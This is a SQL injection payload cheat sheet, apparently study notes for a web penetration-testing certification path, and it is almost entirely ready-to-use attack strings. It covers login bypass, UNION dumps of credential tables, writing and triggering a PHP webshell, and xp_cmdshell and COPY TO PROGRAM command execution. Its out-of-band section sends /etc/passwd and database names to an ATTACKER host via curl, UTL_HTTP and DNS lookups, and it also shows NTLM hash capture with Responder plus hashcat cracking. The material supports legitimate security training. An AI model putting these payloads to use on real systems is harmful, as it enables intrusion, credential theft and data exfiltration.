Misc & payloads
WEB

SQL Injection

Manual SQLi from the CWES path: auth bypass, column discovery, UNION dumps, schema enumeration, file read/write to webshell, error-based, blind boolean/time, WAF bypass, and MSSQL/PostgreSQL/Oracle specifics. Every payload separated.

Detection

Step 1 — Trigger a syntax error

In Burp Proxy, intercept a request and send to Repeater. Inject ' into every parameter one at a time:

param='

A database error, changed response length, or unexpected result → parameter reaches a SQL query unsanitised.

Step 2 — Confirm with comment syntax

param='-- -
param='#
param=''

If the single quote + comment returns a normal response (no error) → confirmed injection — you’ve closed the string and commented out the rest of the query.

Step 3 — Boolean test (no error shown)

If errors are suppressed, use true/false conditions to detect a difference:

' AND 1=1-- -    ← true  → normal response
' AND 1=2-- -    ← false → changed/empty response

Step 4 — Time-based blind (no visible difference)

If neither error nor boolean difference is visible:

'; IF (1=1) WAITFOR DELAY '0:0:5'-- -   (MSSQL)
' AND SLEEP(5)-- -                       (MySQL)
' AND 1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -

A 5-second delay confirms blind injection.

Step 5 — Determine number of columns

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -   ← error here → 2 columns

Then find which column is reflected:

' UNION SELECT NULL,NULL-- -
' UNION SELECT 'a',NULL-- -
' UNION SELECT NULL,'a'-- -

Auth bypass

Classic always-true:

' or '1'='1

OR with comment (numeric columns):

' or 1=1-- -

Comment out the password check (known username):

admin'-- -

With a closing parenthesis:

admin')-- -

MySQL hash comment:

' OR 1=1#

Column count (ORDER BY)

Increment until it errors; last working number = column count:

' order by 1-- -
' order by 4-- -

Confirm with NULL padding:

' UNION SELECT NULL,NULL,NULL,NULL-- -

UNION enumeration

Find displayed columns:

cn' UNION select 1,2,3,4-- -

DB version:

cn' UNION select 1,@@version,3,4-- -

Current user and database:

cn' UNION select 1,user(),database(),4-- -

List databases:

cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -

List tables in a database:

cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -

List columns in a table:

cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -

Dump the data:

cn' UNION select 1,username,password,4 from dev.credentials-- -

Combine columns with group_concat:

' UNION SELECT 1,group_concat(username,':',password),3,4 FROM users-- -

File read / write (FILE privilege)

Check write access (secure_file_priv must be empty):

cn' UNION SELECT 1,variable_name,variable_value,4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -

Read a file:

cn' UNION SELECT 1,LOAD_FILE("/etc/passwd"),3,4-- -

Write a PHP webshell to the web root:

cn' union select "",'<?php system($_REQUEST[0]); ?>',"","" into outfile '/var/www/html/shell.php'-- -

Trigger it:

curl http://TARGET/shell.php?0=id

Error-based (MySQL)

Database name via extractvalue:

' AND extractvalue(1,concat(0x7e,(SELECT database())))-- -

Current user via updatexml:

' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -

Blind boolean

First char of admin’s password is ‘a’?

' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='admin')='a'-- -

Binary search on ASCII value:

' AND ASCII(SUBSTRING((SELECT database()),1,1))>64-- -

Blind time-based

MySQL:

' AND IF((SELECT COUNT(*) FROM users)>0,SLEEP(5),0)-- -

MSSQL:

'; WAITFOR DELAY '0:0:5'-- -

PostgreSQL:

'; SELECT pg_sleep(5)-- -

WAF / filter bypass

Inline comment for spaces:

' OR/**/1=1-- -

URL-encoded tab for space:

' OR%091=1-- -

Hex-encoded ‘admin’:

0x61646d696e

Double-writing keywords (filter strips once):

' UNIunionON SELselectECT NULL-- -

Database-specific RCE

MSSQL OS command:

EXEC xp_cmdshell 'whoami';

Enable xp_cmdshell:

EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;

PostgreSQL RCE via COPY:

COPY (SELECT '') TO PROGRAM 'id > /tmp/out.txt';

OOB Data Exfiltration

MySQL — DNS via LOAD_FILE UNC path (Windows target)

' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.ATTACKER.com\\x'))-- -

Capture with Responder or tcpdump. The DNS lookup carries the exfiltrated data as a subdomain.

MySQL — HTTP via INTO OUTFILE + curl

' UNION SELECT 1,2,3 INTO OUTFILE '/tmp/out.txt'-- -

Or trigger via a UDF if installed:

SELECT sys_eval('curl http://ATTACKER/?d=$(cat /etc/passwd)');

MSSQL — xp_dirtree DNS exfiltration

'; DECLARE @q VARCHAR(255); SET @q='\\'+CAST((SELECT TOP 1 name FROM master..sysdatabases) AS VARCHAR)+'.ATTACKER.com\x'; EXEC master..xp_dirtree @q-- -

Oracle — UTL_HTTP / UTL_INADDR

' UNION SELECT UTL_HTTP.REQUEST('http://ATTACKER/?d='||user) FROM dual-- -
' UNION SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual)||'.ATTACKER.com') FROM dual-- -

PostgreSQL — COPY TO PROGRAM

'; COPY (SELECT current_database()) TO PROGRAM 'curl http://ATTACKER/?d=$(cat /etc/passwd)'-- -

MSSQL NetNTLM Hash Leaking via xp_dirtree

Forces the MSSQL service account to authenticate to your SMB server, leaking a crackable NTLMv2 hash.

Step 1 — Start Responder

sudo responder -I tun0 -v

Step 2 — Trigger via SQLi

'; EXEC master..xp_dirtree '\\ATTACKER_IP\share'-- -

Alternate:

'; EXEC master..xp_subdirs '\\ATTACKER_IP\share'-- -

Step 3 — Crack the NTLMv2 hash

hashcat -m 5600 mssql_hash.txt /usr/share/wordlists/rockyou.txt

Second-Order SQL Injection

The payload is stored safely (parameterised INSERT) but used unsafely in a later query — bypasses input sanitisation at the entry point.

How it happens

// Safe — parameterised insert
$stmt = $pdo->prepare("INSERT INTO users (username) VALUES (?)");
$stmt->execute([$_POST['username']]);

// Unsafe — uses stored username from session directly
$query = "UPDATE users SET password='$newpass' WHERE username='$username'";

Exploit pattern

  1. Register with username: admin'-- -
  2. Log in, then change your password.
  3. The backend runs: UPDATE users SET password='newpass' WHERE username='admin'-- -'
  4. The -- - comments out the rest — admin’s password was changed.

Time-based blind confirmation

Store in the username field:

a'+(SELECT SLEEP(5))+'a

Trigger the code path that reads and uses the username → 5-second delay confirms second-order injection.